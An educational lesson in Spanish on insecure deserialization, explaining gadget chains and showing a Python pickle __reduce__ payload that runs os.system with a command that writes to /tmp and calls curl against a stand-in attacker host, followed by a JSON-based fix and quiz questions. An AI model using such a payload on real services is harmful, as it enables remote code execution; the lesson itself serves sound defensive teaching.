¿Qué es la deserialización insegura, y cómo puede deserializar datos no confiables llevar a ejecución remota de código?
Convertir bytes de vuelta en un objeto puede llamar en silencio a constructores y métodos especiales — suficiente, en las manos equivocadas, para entregarle una shell a un atacante.
APRENDE HACIENDOPon a prueba tu intuición3 pasos
¿Qué es la deserialización insegura, y cómo puede deserializar datos no confiables llevar a ejecución remota de código?
Usa los ejemplos y la explicación de la lección para comprobar tu idea.
Reflexión personal. No se envía a ningún servicio de IA.#El problema de fondo
La serialización convierte un objeto que vive en memoria en una secuencia de bytes (o texto) para poder almacenarlo o enviarlo por la red; la deserialización revierte ese proceso. El peligro aparece en el momento en que esa secuencia de bytes proviene de una fuente no confiable y el deserializador es lo bastante expresivo como para reconstruir objetos arbitrarios, no solo datos planos. Los formatos de serialización "nativa" de objetos — la serialización integrada de Java, pickle en Python, unserialize en PHP, Marshal en Ruby — hacen mucho más que volcar campos en una estructura: reconstruir un objeto puede invocar automáticamente constructores, setters o métodos especiales como readObject, __reduce__ o __wakeup__, como efecto secundario de convertir bytes de vuelta en un grafo de objetos vivo. Si un atacante controla esos bytes, controla qué clases se instancian y qué métodos se disparan, antes de que tu código de aplicación siquiera examine el resultado.
Esto es fundamentalmente distinto a parsear JSON o XML hacia diccionarios y listas planas. Esos formatos solo producen datos inertes — cadenas, números, booleanos, arreglos, mapas — nunca un objeto vivo con comportamiento propio, así que parsear JSON no confiable no puede, por sí solo, llamar a un constructor ni ejecutar un método. La deserialización insegura existe como categoría de vulnerabilidad precisamente porque los objetos reconstruidos no son inertes: provienen de clases reales que ya viven en tu classpath o en tus dependencias, y algunas de esas clases hacen cosas peligrosas (E/S de archivos, reflexión, lanzar procesos) como efecto secundario documentado e intencional de ser deserializadas.
#Cómo una cadena de gadgets se convierte en ejecución remota de código
El atacante no necesita un bug en el deserializador mismo. Necesita dos cosas: un deserializador dispuesto a instanciar clases arbitrarias nombradas en la secuencia de bytes, y al menos una clase ya presente en el entorno de ejecución cuyo método de deserialización haga algo explotable — muchas veces varias clases encadenadas, donde el método de cada una dispara la siguiente, hasta que el último paso ejecuta un comando de shell o escribe un archivo. Esto se llama "cadena de gadgets" (gadget chain). En el ecosistema Java, bibliotecas de utilidades omnipresentes como Apache Commons Collections se volvieron célebres como fuente de gadgets: nada en Commons Collections es una vulnerabilidad por sí sola, pero una clase como InvokerTransformer, combinada con readObject en ciertas implementaciones de mapas, permite que una secuencia de bytes manipulada dirija la invocación arbitraria de métodos — incluyendo Runtime.exec. Herramientas creadas específicamente para automatizar el descubrimiento y la generación de estas cadenas hicieron que la deserialización nativa de Java fuera una de las categorías de vulnerabilidad más explotadas de forma consistente en software empresarial durante buena parte de una década.
#Un ejemplo concreto: pickle en Python
Python es inusualmente franco sobre este riesgo — la documentación de la biblioteca estándar de pickle advierte explícitamente que nunca se debe hacer unpickle de datos recibidos de una fuente no confiable o no autenticada, porque pickle.loads puede llamar al método __reduce__ de un objeto durante la carga, y __reduce__ puede devolver cualquier función invocable junto con los argumentos con los que llamarla.
import pickleimport osclass Payload:def __reduce__(self):# Este método se ejecuta durante el UNPICKLING, no durante el pickling.# Devuelve (invocable, tupla_de_argumentos); pickle llama invocable(*tupla_de_argumentos).return (os.system, ("id > /tmp/pwned; curl http://atacante.example/x",))# El atacante construye esto una vez, sin conexión, y envía los bytes resultantes —# por ejemplo, como una cookie de sesión, un valor de caché o un mensaje de cola.bytes_maliciosos = pickle.dumps(Payload())# --- dentro del servicio vulnerable ---def manejar_sesion_entrante(sesion_serializada: bytes):# PELIGROSO: bytes no confiables entregados directamente a pickle.loads.sesion = pickle.loads(sesion_serializada)return sesion
Cuando manejar_sesion_entrante llama a pickle.loads sobre bytes controlados por el atacante, Python reconstruye Payload llamando exactamente a la tupla que devuelve __reduce__ — es decir, ejecuta os.system(...) con el comando del atacante antes de que el llamador haya hecho nada con la "sesión" que cree haber recibido. Aquí no hay ningún bug de parseo ni desbordamiento de búfer: el deserializador hizo precisamente lo que fue diseñado para hacer.
#La solución: dejar de deserializar bytes no confiables en objetos vivos
La solución más confiable es arquitectónica, no un parche puntual: nunca ejecutar un deserializador nativo de objetos sobre datos que un atacante pueda influir. Se reemplaza por un formato de solo-datos — JSON, Protocol Buffers, MessagePack — y se valida el resultado contra un esquema explícito antes de confiar en cualquier campo.
import jsonfrom typing import TypedDictclass Sesion(TypedDict):user_id: intissued_at: floatcsrf_token: strdef manejar_sesion_entrante(sesion_serializada: str) -> Sesion:# json.loads solo puede producir dict / list / str / int / float / bool / None.# No tiene ningún gancho que pueda invocar un constructor o llamar a un método como efecto secundario.datos = json.loads(sesion_serializada)if not isinstance(datos, dict):raise ValueError("payload de sesión inválido")if not isinstance(datos.get("user_id"), int):raise ValueError("user_id inválido")if not isinstance(datos.get("csrf_token"), str) or len(datos["csrf_token"]) != 43:raise ValueError("csrf_token inválido")return Sesion(user_id=datos["user_id"],issued_at=float(datos.get("issued_at", 0)),csrf_token=datos["csrf_token"],)
Cuando un sistema heredado realmente no puede abandonar un serializador nativo, existen opciones de defensa en profundidad, pero son estrictamente un segundo mejor: firmar el payload con un HMAC y verificar la firma antes de deserializar nada, de modo que un payload alterado o creado por el atacante nunca llegue siquiera al deserializador; restringir qué clases pueden instanciarse mediante un mecanismo de lista blanca (el ObjectInputFilter de Java, disponible desde JEP 290, o una subclase personalizada de Unpickler en Python que sobrescriba find_class para rechazar todo lo que esté fuera de una lista pequeña y conocida de módulos seguros); y ejecutar el proceso que deserializa con el mínimo privilegio posible — sin acceso de red saliente, con un usuario sin privilegios, con un perfil seccomp restrictivo — porque las cadenas de gadgets siguen evolucionando y un filtro basado puramente en listas negras suele ir un paso por detrás de la más reciente.
🧠 Check your understanding
0/3 · 0/3 answered1. ¿Por qué es más peligroso deserializar datos no confiables con un formato como la serialización nativa de Java o pickle de Python que parsear JSON no confiable?
2. ¿Qué es una "cadena de gadgets" en el contexto de la deserialización insegura?
3. ¿Cuál es la solución más confiable frente a la deserialización insegura de entradas no confiables?